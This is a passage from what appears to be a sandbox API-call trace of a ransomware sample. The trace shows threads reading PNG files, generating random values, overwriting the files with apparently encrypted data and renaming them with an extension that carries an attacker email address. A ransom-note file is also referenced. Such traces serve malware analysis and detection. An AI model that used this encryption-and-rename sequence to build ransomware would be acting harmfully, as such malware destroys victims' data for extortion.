BaseAddress=0x347a000) returned 1 [0075.270] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd940) returned 1 [0075.270] WriteFile (in: hFile=0x9d0, lpBuffer=0x3479390*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1c13fefc, lpOverlapped=0x0 | out: lpBuffer=0x3479390*, lpNumberOfBytesWritten=0x1c13fefc*=0x8, lpOverlapped=0x0) returned 1 [0075.270] WriteFile (in: hFile=0x9d0, lpBuffer=0x1c13ff14*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1c13fefc, lpOverlapped=0x0 | out: lpBuffer=0x1c13ff14*, lpNumberOfBytesWritten=0x1c13fefc*=0x4, lpOverlapped=0x0) returned 1 [0075.270] WriteFile (in: hFile=0x9d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1c13fefc, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1c13fefc*=0x4, lpOverlapped=0x0) returned 1 [0075.271] WriteFile (in: hFile=0x9d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1c13fefc, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1c13fefc*=0x6c, lpOverlapped=0x0) returned 1 [0075.271] WriteFile (in: hFile=0x9d0, lpBuffer=0x3479278*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1c13fefc, lpOverlapped=0x0 | out: lpBuffer=0x3479278*, lpNumberOfBytesWritten=0x1c13fefc*=0x20, lpOverlapped=0x0) returned 1 [0075.271] WriteFile (in: hFile=0x9d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1c13fefc, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1c13fefc*=0x4, lpOverlapped=0x0) returned 1 [0075.271] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479278) returned 1 [0075.271] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34793b8) returned 1 [0075.271] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479390) returned 1 [0075.271] CloseHandle (hObject=0x9d0) returned 1 [0075.271] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xbc) returned 0x3431fd8 [0075.271] wcscpy (in: _Dest=0x3431fd8, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.png" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.png") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.png" [0075.271] wcscat (in: _Dest=0x3431fd8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.png.mailto[kokoklock@cock.li].d0e731" [0075.271] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.png" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\guest.png"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\guest.png.mailto[kokoklock@cock.li].d0e731")) returned 1 [0075.272] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0075.272] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431fd8) returned 1 [0075.272] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.png", dwFileAttributes=0x20) returned 0 [0075.272] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8c) returned 0x347c750 [0075.272] wcscpy (in: _Dest=0x347c750, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" [0075.272] wcscat (in: _Dest=0x347c750, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\D0E731-Readme.txt" [0075.272] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\d0e731-readme.txt")) returned 0x20 [0075.272] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347c750) returned 1 [0075.272] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e7090) returned 1 [0075.272] RtlExitUserThread (Status=0x1) Thread: id = 744 os_tid = 0x11ec [0075.139] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-192.png" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\user-192.png")) returned 0x20 [0075.192] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-192.png", dwFileAttributes=0x20) returned 1 [0075.193] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-192.png" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\user-192.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9cc [0075.193] GetFileSizeEx (in: hFile=0x9cc, lpFileSize=0x1c1bfb74 | out: lpFileSize=0x1c1bfb74*=2407) returned 1 [0075.193] SetFilePointerEx (in: hFile=0x9cc, liDistanceToMove=0x963, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.193] ReadFile (in: hFile=0x9cc, lpBuffer=0x1c1bfb48, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1c1bfb44, lpOverlapped=0x0 | out: lpBuffer=0x1c1bfb48*, lpNumberOfBytesRead=0x1c1bfb44*=0x4, lpOverlapped=0x0) returned 1 [0075.195] SetFilePointerEx (in: hFile=0x9cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.195] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478e90 [0075.195] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479048 [0075.195] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479070 [0075.195] NtQuerySystemTime (in: CurrentTime=0x1c1bfb20 | out: CurrentTime=0x1c1bfb20*=132121176330815177) returned 0x0 [0075.195] RtlRandom (in: Seed=0x1c1bfb2c | out: Seed=0x1c1bfb2c) returned 0xcfbde22c [0075.195] RtlRandom (in: Seed=0x1c1bfb2c | out: Seed=0x1c1bfb2c) returned 0x2fe69a9 [0075.195] RtlRandom (in: Seed=0x1c1bfb2c | out: Seed=0x1c1bfb2c) returned 0x87ad7c7d [0075.195] RtlRandom (in: Seed=0x1c1bfb2c | out: Seed=0x1c1bfb2c) returned 0x777db440 [0075.195] RtlRandom (in: Seed=0x1c1bfb2c | out: Seed=0x1c1bfb2c) returned 0xf49914d9 [0075.195] RtlRandom (in: Seed=0x1c1bfb2c | out: Seed=0x1c1bfb2c) returned 0x3545d05a [0075.195] RtlRandom (in: Seed=0x1c1bfb2c | out: Seed=0x1c1bfb2c) returned 0x971a5e5e [0075.195] RtlRandom (in: Seed=0x1c1bfb2c | out: Seed=0x1c1bfb2c) returned 0x84e8d08b [0075.195] RtlRandom (in: Seed=0x1c1bfb2c | out: Seed=0x1c1bfb2c) returned 0x95fad5b7 [0075.195] RtlRandom (in: Seed=0x1c1bfb2c | out: Seed=0x1c1bfb2c) returned 0xdc9aaed [0075.195] RtlRandom (in: Seed=0x1c1bfb2c | out: Seed=0x1c1bfb2c) returned 0x7f5fde42 [0075.195] RtlRandom (in: Seed=0x1c1bfb2c | out: Seed=0x1c1bfb2c) returned 0x9cf4af7f [0075.195] RtlRandom (in: Seed=0x1c1bfb2c | out: Seed=0x1c1bfb2c) returned 0x9f022224 [0075.195] RtlRandom (in: Seed=0x1c1bfb2c | out: Seed=0x1c1bfb2c) returned 0xf7a76787 [0075.195] RtlRandom (in: Seed=0x1c1bfb2c | out: Seed=0x1c1bfb2c) returned 0x722da11f [0075.195] RtlRandom (in: Seed=0x1c1bfb2c | out: Seed=0x1c1bfb2c) returned 0x2a2070de [0075.196] RtlRandom (in: Seed=0x1c1bfb2c | out: Seed=0x1c1bfb2c) returned 0x64b6bb90 [0075.196] RtlRandom (in: Seed=0x1c1bfb2c | out: Seed=0x1c1bfb2c) returned 0xf900148 [0075.196] RtlRandom (in: Seed=0x1c1bfb2c | out: Seed=0x1c1bfb2c) returned 0x3490d3fe [0075.196] RtlRandom (in: Seed=0x1c1bfb2c | out: Seed=0x1c1bfb2c) returned 0x54e4ab33 [0075.196] RtlRandom (in: Seed=0x1c1bfb2c | out: Seed=0x1c1bfb2c) returned 0xcfd3944d [0075.196] RtlRandom (in: Seed=0x1c1bfb2c | out: Seed=0x1c1bfb2c) returned 0x568d68e7 [0075.196] RtlRandom (in: Seed=0x1c1bfb2c | out: Seed=0x1c1bfb2c) returned 0x512f828c [0075.196] RtlRandom (in: Seed=0x1c1bfb2c | out: Seed=0x1c1bfb2c) returned 0x1c10fc66 [0075.196] RtlRandom (in: Seed=0x1c1bfb2c | out: Seed=0x1c1bfb2c) returned 0x4cd80699 [0075.196] RtlRandom (in: Seed=0x1c1bfb2c | out: Seed=0x1c1bfb2c) returned 0x7222041f [0075.196] RtlRandom (in: Seed=0x1c1bfb2c | out: Seed=0x1c1bfb2c) returned 0xc4e3dd13 [0075.196] RtlRandom (in: Seed=0x1c1bfb2c | out: Seed=0x1c1bfb2c) returned 0x880a9b07 [0075.196] RtlRandom (in: Seed=0x1c1bfb2c | out: Seed=0x1c1bfb2c) returned 0x347264a7 [0075.196] RtlRandom (in: Seed=0x1c1bfb2c | out: Seed=0x1c1bfb2c) returned 0x3f21fde [0075.196] RtlRandom (in: Seed=0x1c1bfb2c | out: Seed=0x1c1bfb2c) returned 0x9c47c7f5 [0075.196] RtlRandom (in: Seed=0x1c1bfb2c | out: Seed=0x1c1bfb2c) returned 0x2a782d3e [0075.207] ReadFile (in: hFile=0x9cc, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x967, lpNumberOfBytesRead=0x1c1bfb20, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1c1bfb20*=0x967, lpOverlapped=0x0) returned 1 [0075.207] SetFilePointerEx (in: hFile=0x9cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1c1bfae8 | out: lpNewFilePointer=0x0) returned 1 [0075.207] WriteFile (in: hFile=0x9cc, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x967, lpNumberOfBytesWritten=0x1c1bfb1c, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1c1bfb1c*=0x967, lpOverlapped=0x0) returned 1 [0075.207] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478e90 [0075.208] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34792a0 [0075.208] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34792a0) returned 1 [0075.208] WriteFile (in: hFile=0x9cc, lpBuffer=0x3478e90*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1c1bfb18, lpOverlapped=0x0 | out: lpBuffer=0x3478e90*, lpNumberOfBytesWritten=0x1c1bfb18*=0x20, lpOverlapped=0x0) returned 1 [0075.208] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478e90) returned 1 [0075.208] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0075.208] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0075.208] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0075.208] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0075.208] WriteFile (in: hFile=0x9cc, lpBuffer=0x34793b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1c1bfb44, lpOverlapped=0x0 | out: lpBuffer=0x34793b8*, lpNumberOfBytesWritten=0x1c1bfb44*=0x8, lpOverlapped=0x0) returned 1 [0075.208] WriteFile (in: hFile=0x9cc, lpBuffer=0x1c1bfb5c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1c1bfb44, lpOverlapped=0x0 | out: lpBuffer=0x1c1bfb5c*, lpNumberOfBytesWritten=0x1c1bfb44*=0x4, lpOverlapped=0x0) returned 1 [0075.208] WriteFile (in: hFile=0x9cc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1c1bfb44, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1c1bfb44*=0x4, lpOverlapped=0x0) returned 1 [0075.208] WriteFile (in: hFile=0x9cc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1c1bfb44, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1c1bfb44*=0x6c, lpOverlapped=0x0) returned 1 [0075.208] WriteFile (in: hFile=0x9cc, lpBuffer=0x3479048*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1c1bfb44, lpOverlapped=0x0 | out: lpBuffer=0x3479048*, lpNumberOfBytesWritten=0x1c1bfb44*=0x20, lpOverlapped=0x0) returned 1 [0075.208] WriteFile (in: hFile=0x9cc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1c1bfb44, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1c1bfb44*=0x4, lpOverlapped=0x0) returned 1 [0075.208] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479048) returned 1 [0075.208] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479728) returned 1 [0075.208] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34793b8) returned 1 [0075.208] CloseHandle (hObject=0x9cc) returned 1 [0075.209] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc2) returned 0x33f7af8 [0075.209] wcscpy (in: _Dest=0x33f7af8, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-192.png" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-192.png") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-192.png" [0075.209] wcscat (in: _Dest=0x33f7af8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-192.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-192.png.mailto[kokoklock@cock.li].d0e731" [0075.209] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-192.png" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\user-192.png"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-192.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\user-192.png.mailto[kokoklock@cock.li].d0e731")) returned 1 [0075.209] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-192.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0075.210] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f7af8) returned 1 [0075.210] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-192.png", dwFileAttributes=0x20) returned 0 [0075.210] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8c) returned 0x347bca0 [0075.210] wcscpy (in: _Dest=0x347bca0, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" [0075.210] wcscat (in: _Dest=0x347bca0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\D0E731-Readme.txt" [0075.210] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\d0e731-readme.txt")) returned 0x20 [0075.210] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347bca0) returned 1 [0075.210] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e020) returned 1 [0075.210] RtlExitUserThread (Status=0x1) Thread: id = 745 os_tid = 0x11f0 [0075.140] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-32.png" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\user-32.png")) returned 0x20 [0075.255] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-32.png", dwFileAttributes=0x20) returned 1 [0075.273] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-32.png" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\user-32.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9d0 [0075.274] GetFileSizeEx (in: hFile=0x9d0, lpFileSize=0x1c23fd90 | out: lpFileSize=0x1c23fd90*=415) returned 1 [0075.274] SetFilePointerEx (in: hFile=0x9d0, liDistanceToMove=0x19b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.274] ReadFile (in: hFile=0x9d0, lpBuffer=0x1c23fd64, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1c23fd60, lpOverlapped=0x0 | out: lpBuffer=0x1c23fd64*, lpNumberOfBytesRead=0x1c23fd60*=0x4, lpOverlapped=0x0) returned 1 [0075.275] SetFilePointerEx (in: hFile=0x9d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.275] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34795c0 [0075.275] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479688 [0075.275] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479728 [0075.275] NtQuerySystemTime (in: CurrentTime=0x1c23fd3c | out: CurrentTime=0x1c23fd3c*=132121176331752699) returned 0x0 [0075.275] RtlRandom (in: Seed=0x1c23fd48 | out: Seed=0x1c23fd48) returned 0xfc085781 [0075.275] RtlRandom (in: Seed=0x1c23fd48 | out: Seed=0x1c23fd48) returned 0xed2cd46 [0075.275] RtlRandom (in: Seed=0x1c23fd48 | out: Seed=0x1c23fd48) returned 0xf95b5c18 [0075.275] RtlRandom (in: Seed=0x1c23fd48 | out: Seed=0x1c23fd48) returned 0x5f58030d [0075.275] RtlRandom (in: Seed=0x1c23fd48 | out: Seed=0x1c23fd48) returned 0xaba86ba6 [0075.275] RtlRandom (in: Seed=0x1c23fd48 | out: Seed=0x1c23fd48) returned 0xdd55241c [0075.275] RtlRandom (in: Seed=0x1c23fd48 | out: Seed=0x1c23fd48) returned 0xa4fc9824 [0075.275] RtlRandom (in: Seed=0x1c23fd48 | out: Seed=0x1c23fd48) returned 0xc028a308 [0075.275] RtlRandom (in: Seed=0x1c23fd48 | out: Seed=0x1c23fd48) returned 0x8159a92d [0075.275] RtlRandom (in: Seed=0x1c23fd48 | out: Seed=0x1c23fd48) returned 0xd668c62c [0075.275] RtlRandom (in: Seed=0x1c23fd48 | out: Seed=0x1c23fd48) returned 0xb7cece2 [0075.275] RtlRandom (in: Seed=0x1c23fd48 | out: Seed=0x1c23fd48) returned 0xae555d13 [0075.275] RtlRandom (in: Seed=0x1c23fd48 | out: Seed=0x1c23fd48) returned 0x5dd587a [0075.275] RtlRandom (in: Seed=0x1c23fd48 | out: Seed=0x1c23fd48) returned 0xa9ef721b [0075.275] RtlRandom (in: Seed=0x1c23fd48 | out: Seed=0x1c23fd48) returned 0x26271933 [0075.275] RtlRandom (in: Seed=0x1c23fd48 | out: Seed=0x1c23fd48) returned 0x2fae9b27 [0075.275] RtlRandom (in: Seed=0x1c23fd48 | out: Seed=0x1c23fd48) returned 0xf0b2dd94 [0075.275] RtlRandom (in: Seed=0x1c23fd48 | out: Seed=0x1c23fd48) returned 0xe64c450 [0075.275] RtlRandom (in: Seed=0x1c23fd48 | out: Seed=0x1c23fd48) returned 0x3644673e [0075.275] RtlRandom (in: Seed=0x1c23fd48 | out: Seed=0x1c23fd48) returned 0xa028c787 [0075.275] RtlRandom (in: Seed=0x1c23fd48 | out: Seed=0x1c23fd48) returned 0xa8faf4ce [0075.275] RtlRandom (in: Seed=0x1c23fd48 | out: Seed=0x1c23fd48) returned 0xfe3c123e [0075.276] RtlRandom (in: Seed=0x1c23fd48 | out: Seed=0x1c23fd48) returned 0x68f94e1a [0075.276] RtlRandom (in: Seed=0x1c23fd48 | out: Seed=0x1c23fd48) returned 0x3f66cd09 [0075.276] RtlRandom (in: Seed=0x1c23fd48 | out: Seed=0x1c23fd48) returned 0x5ac6bf9f [0075.276] RtlRandom (in: Seed=0x1c23fd48 | out: Seed=0x1c23fd48) returned 0x2112b541 [0075.276] RtlRandom (in: Seed=0x1c23fd48 | out: Seed=0x1c23fd48) returned 0x207d6a6d [0075.276] RtlRandom (in: Seed=0x1c23fd48 | out: Seed=0x1c23fd48) returned 0x3520d9c3 [0075.276] RtlRandom (in: Seed=0x1c23fd48 | out: Seed=0x1c23fd48) returned 0x7e3874fc [0075.276] RtlRandom (in: Seed=0x1c23fd48 | out: Seed=0x1c23fd48) returned 0x1094231e [0075.276] RtlRandom (in: Seed=0x1c23fd48 | out: Seed=0x1c23fd48) returned 0x87c5b2ea [0075.276] RtlRandom (in: Seed=0x1c23fd48 | out: Seed=0x1c23fd48) returned 0xe04134f6 [0075.287] ReadFile (in: hFile=0x9d0, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x19f, lpNumberOfBytesRead=0x1c23fd3c, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1c23fd3c*=0x19f, lpOverlapped=0x0) returned 1 [0075.287] SetFilePointerEx (in: hFile=0x9d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1c23fd04 | out: lpNewFilePointer=0x0) returned 1 [0075.287] WriteFile (in: hFile=0x9d0, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x19f, lpNumberOfBytesWritten=0x1c23fd38, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1c23fd38*=0x19f, lpOverlapped=0x0) returned 1 [0075.287] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34792a0 [0075.287] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479318 [0075.287] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479318) returned 1 [0075.287] WriteFile (in: hFile=0x9d0, lpBuffer=0x34792a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1c23fd34, lpOverlapped=0x0 | out: lpBuffer=0x34792a0*, lpNumberOfBytesWritten=0x1c23fd34*=0x20, lpOverlapped=0x0) returned 1 [0075.288] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34792a0) returned 1 [0075.288] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0075.288] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0075.288] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0075.288] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0075.288] WriteFile (in: hFile=0x9d0, lpBuffer=0x34793b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1c23fd60, lpOverlapped=0x0 | out: lpBuffer=0x34793b8*, lpNumberOfBytesWritten=0x1c23fd60*=0x8, lpOverlapped=0x0) returned 1 [0075.288] WriteFile (in: hFile=0x9d0, lpBuffer=0x1c23fd78*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1c23fd60, lpOverlapped=0x0 | out: lpBuffer=0x1c23fd78*, lpNumberOfBytesWritten=0x1c23fd60*=0x4, lpOverlapped=0x0) returned 1 [0075.288] WriteFile (in: hFile=0x9d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1c23fd60, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1c23fd60*=0x4, lpOverlapped=0x0) returned 1 [0075.288] WriteFile (in: hFile=0x9d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1c23fd60, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1c23fd60*=0x6c, lpOverlapped=0x0) returned 1 [0075.288] WriteFile (in: hFile=0x9d0, lpBuffer=0x3479688*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1c23fd60, lpOverlapped=0x0 | out: lpBuffer=0x3479688*, lpNumberOfBytesWritten=0x1c23fd60*=0x20, lpOverlapped=0x0) returned 1 [0075.288] WriteFile (in: hFile=0x9d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1c23fd60, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1c23fd60*=0x4, lpOverlapped=0x0) returned 1 [0075.288] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479688) returned 1 [0075.288] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479278) returned 1 [0075.288] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34793b8) returned 1 [0075.288] CloseHandle (hObject=0x9d0) returned 1 [0075.289] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc0) returned 0x34323c0 [0075.289] wcscpy (in: _Dest=0x34323c0, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-32.png" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-32.png") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-32.png" [0075.289] wcscat (in: _Dest=0x34323c0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-32.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-32.png.mailto[kokoklock@cock.li].d0e731" [0075.289] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-32.png" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\user-32.png"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-32.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\user-32.png.mailto[kokoklock@cock.li].d0e731")) returned 1 [0075.289] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-32.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0075.289] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34323c0) returned 1 [0075.289] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user-32.png", dwFileAttributes=0x20) returned 0 [0075.290] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8c) returned 0x347bca0 [0075.290] wcscpy (in: _Dest=0x347bca0, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" [0075.290] wcscat (in: 